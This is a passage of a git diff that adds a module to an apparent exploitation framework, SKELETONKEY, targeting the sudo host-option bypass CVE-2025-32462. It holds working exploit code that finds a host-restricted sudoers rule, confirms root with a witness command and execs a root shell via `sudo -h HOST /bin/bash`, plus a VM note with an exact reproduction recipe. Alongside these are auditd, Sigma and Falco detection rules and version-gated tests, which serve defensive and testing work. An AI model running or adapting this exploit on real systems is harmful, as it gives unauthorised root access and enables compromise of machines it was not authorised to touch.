(scan_sudoers_file(full, user, cur_host, host_out, host_sz)) { + pclose(p); + return true; + } + } + pclose(p); + } + return false; +} + +/* Run `sudo -n -h id -u` and return true if it printed "0" + * (command executed as root). -n keeps it non-interactive so a password + * prompt can't hang the scan. */ +static bool sudo_host_witness_root(const char *sudo_path, const char *host) +{ + char cmd[768]; + snprintf(cmd, sizeof cmd, + "%s -n -h %s id -u 2>/dev/null", sudo_path, host); + FILE *p = popen(cmd, "r"); + if (!p) return false; + char out[64] = {0}; + char *r = fgets(out, sizeof out, p); + pclose(p); + if (!r) return false; + return atoi(out) == 0 && (out[0] == '0'); +} +#endif /* __linux__ */ + +static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx) +{ +#ifndef __linux__ + (void)ctx; + fprintf(stderr, "[-] sudo_host: Linux-only module โ€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +#else + if (!ctx->authorized) { + fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + skeletonkey_result_t pre = sudo_host_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n"); + return pre; + } + bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); + if (is_root) { + fprintf(stderr, "[i] sudo_host: already running as root โ€” nothing to do\n"); + return SKELETONKEY_OK; + } + const char *sudo_path = find_sudo(); + if (!sudo_path) { + fprintf(stderr, "[-] sudo_host: sudo not installed\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + char cur_host[256] = {0}; + if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0; + struct passwd *pw = getpwuid(geteuid()); + const char *user = pw ? pw->pw_name : ""; + + /* The host token to abuse. Source priority: + * 1. SKELETONKEY_SUDO_HOST env var (operator supplies it โ€” the most + * reliable path, since the host-restricted rule usually lives in + * a sudoers source the user can't read). + * 2. Best-effort discovery from readable sudoers. */ + char host_tok[256] = {0}; + const char *envh = getenv("SKELETONKEY_SUDO_HOST"); + if (envh && *envh) { + snprintf(host_tok, sizeof host_tok, "%s", envh); + if (!ctx->json) + fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok); + } else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) { + if (!ctx->json) + fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule " + "(host '%s' != current '%s') in readable sudoers\n", + host_tok, cur_host); + } else { + fprintf(stderr, + "[-] sudo_host: no abusable host-restricted rule discoverable.\n" + " The vulnerable sudo is present, but exploitation needs a sudoers\n" + " rule scoped to a host other than '%s' (and not ALL), which is\n" + " typically in a sudoers source you cannot read. If you know one\n" + " (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n" + " SKELETONKEY_SUDO_HOST= \\\n" + " [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n" + " skeletonkey --exploit sudo_host --i-know\n", + cur_host[0] ? cur_host : "(this host)"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* Confirm the policy actually grants root on the local box when we + * claim to be host_tok. `id -u` as the witness command. */ + if (!ctx->json) + fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok); + if (!sudo_host_witness_root(sudo_path, host_tok)) { + fprintf(stderr, + "[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n" + " - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n" + " - the rule for '%s' is command-restricted (doesn't grant `id`);\n" + " set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n" + " - the rule requires a password (we run -n / non-interactive)\n", + host_tok, host_tok); + return SKELETONKEY_EXPLOIT_FAIL; + } + + if (!ctx->json) + fprintf(stderr, "[+] sudo_host: WITNESS โ€” `sudo -h %s` runs as uid 0. " + "CVE-2025-32462 confirmed.\n", host_tok); + + if (ctx->no_shell) { + fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: " + "sudo -h %s \n", host_tok); + return SKELETONKEY_EXPLOIT_OK; + } + + /* Pop a root shell via the abused host. The granted command may be + * restricted; default to /bin/bash but let the operator override to + * whatever the rule actually permits. */ + const char *cmd = getenv("SKELETONKEY_SUDO_CMD"); + if (!cmd || !*cmd) cmd = "/bin/bash"; + fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd); + fflush(NULL); + execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL); + perror("execl(sudo -h)"); + return SKELETONKEY_EXPLOIT_FAIL; +#endif /* __linux__ */ +} + +/* ---- detection rules ------------------------------------------------ */ + +static const char sudo_host_auditd[] = + "# sudo_host CVE-2025-32462 โ€” auditd detection rules\n" + "# Flag sudo invocations; the abuse is `sudo -h ` running a\n" + "# command (not just `-l`). auditd can't filter argv content, so this\n" + "# watches sudo execve broadly โ€” correlate with sudo's own logs, which\n" + "# record the -h/--host value and the target command.\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n" + "-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n"; + +static const char sudo_host_sigma[] = + "title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n" + "id: 7c1d9e54-skeletonkey-sudo-host\n" + "status: experimental\n" + "description: |\n" + " Detects sudo invoked with -h/--host together with a command (not\n" + " -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n" + " running commands, letting a user abuse a sudoers rule scoped to a\n" + " different host. False positives: admins legitimately using\n" + " `sudo -l -h ` to LIST remote privileges (no command present).\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n" + " host_opt: {argv|contains: ['-h', '--host']}\n" + " condition: sudo_exec and host_opt\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n"; + +static const char sudo_host_falco[] = + "- rule: sudo --host running a command by non-root (CVE-2025-32462)\n" + " desc: |\n" + " sudo invoked with -h/--host while running a command (not -l). On\n" + " sudo <= 1.9.17p0 the host option is wrongly honored outside\n" + " --list, so a sudoers rule scoped to another host can be abused\n" + " for local root. False positives: `sudo -l -h ` used purely\n" + " to list remote privileges.\n" + " condition: >\n" + " spawned_process and proc.name = sudo and\n" + " (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n" + " not proc.cmdline contains \"-l\" and not user.uid = 0\n" + " output: >\n" + " sudo --host running a command by non-root\n" + " (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n" + " priority: HIGH\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n"; + +/* ---- module struct -------------------------------------------------- */ + +const struct skeletonkey_module sudo_host_module = { + .name = "sudo_host", + .cve = "CVE-2025-32462", + .summary = "sudo -h/--host honored beyond -l โ†’ abuse a host-restricted sudoers rule for local root (Stratascale)", + .family = "sudo", + .kernel_range = "userspace โ€” sudo 1.8.8 โ‰ค V โ‰ค 1.9.17p0 (fixed in 1.9.17p1)", + .detect = sudo_host_detect, + .exploit = sudo_host_exploit, + .mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */ + .cleanup = NULL, /* exploit runs a command as root; no persistent artifact */ + .detect_auditd = sudo_host_auditd, + .detect_sigma = sudo_host_sigma, + .detect_yara = NULL, /* behavioural (argv) bug โ€” no file artifact to match */ + .detect_falco = sudo_host_falco, + .opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root โ€” that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h id -u` (non-interactive, no password prompt) and pops `sudo -h /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.", + .arch_support = "any", +}; + +void skeletonkey_register_sudo_host(void) +{ + skeletonkey_register(&sudo_host_module); +} diff --git a/modules/sudo_host_cve_2025_32462/skeletonkey_modules.h b/modules/sudo_host_cve_2025_32462/skeletonkey_modules.h new file mode 100644 index 0000000..c09338e --- /dev/null +++ b/modules/sudo_host_cve_2025_32462/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * sudo_host_cve_2025_32462 โ€” SKELETONKEY module registry hook + */ + +#ifndef SUDO_HOST_SKELETONKEY_MODULES_H +#define SUDO_HOST_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module sudo_host_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index d731633..bfcbaf9 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -1003,6 +1003,7 @@ static int module_safety_rank(const char *n) /* Higher = safer. Run highest-ranked vulnerable module. */ if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */ if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */ + if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */ if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */ if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */ if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */ diff --git a/tests/test_detect.c b/tests/test_detect.c index 3ceb2ce..f523b8e 100644 --- a/tests/test_detect.c +++ b/tests/test_detect.c @@ -69,6 +69,7 @@ extern const struct skeletonkey_module tioscpgrp_module; extern const struct skeletonkey_module vsock_uaf_module; extern const struct skeletonkey_module nft_pipapo_module; extern const struct skeletonkey_module ptrace_pidfd_module; +extern const struct skeletonkey_module sudo_host_module; static int g_pass = 0; static int g_fail = 0; @@ -770,6 +771,38 @@ static void run_all(void) &ptrace_pidfd_module, &h_pidfd_7_1_0, SKELETONKEY_OK); + /* โ”€โ”€ sudo_host (CVE-2025-32462) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + * Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1. + * Assumes sudo is installed on the runner (as the other sudo_* + * rows do โ€” detect() PRECOND_FAILs without a setuid sudo). */ + + /* vulnerable sudo 1.8.31 (in range) โ†’ VULNERABLE */ + run_one("sudo_host: sudo 1.8.31 (in range) โ†’ VULNERABLE", + &sudo_host_module, &h_vuln_sudo, + SKELETONKEY_VULNERABLE); + + /* fixed sudo 1.9.17p1 โ†’ OK (note: 1.9.13p1 is still vulnerable to + * THIS CVE, so h_fixed_sudo can't be reused here) */ + struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12; + strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1"); + run_one("sudo_host: sudo 1.9.17p1 (fixed) โ†’ OK", + &sudo_host_module, &h_sudo_host_fixed, + SKELETONKEY_OK); + + /* sudo 1.8.6 predates the -h behaviour (< 1.8.8) โ†’ OK */ + struct skeletonkey_host h_sudo_host_old = h_kernel_6_12; + strcpy(h_sudo_host_old.sudo_version, "1.8.6"); + run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) โ†’ OK", + &sudo_host_module, &h_sudo_host_old, + SKELETONKEY_OK); + + /* sudo 1.9.17 plain (== 1.9.17p0) โ†’ VULNERABLE (fix is p1) */ + struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12; + strcpy(h_sudo_host_1917.sudo_version, "1.9.17"); + run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) โ†’ VULNERABLE", + &sudo_host_module, &h_sudo_host_1917, + SKELETONKEY_VULNERABLE); + /* โ”€โ”€ coverage report โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ * Iterate the runtime registry (populated by skeletonkey_register_* * calls in main()) and warn for any module that was not touched diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 66c1d48..376c964 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -294,3 +294,12 @@ ptrace_pidfd: kernel_version: "5.15.5" expect_detect: VULNERABLE notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified โ€” sweep pending." + +# โ”€โ”€ sudo_host (CVE-2025-32462) addition โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +sudo_host: + box: ubuntu1804 # ships sudo 1.8.21p2 โ€” inside [1.8.8, 1.9.17p0] + kernel_pkg: "" + kernel_version: "4.15.0" + expect_detect: VULNERABLE + notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."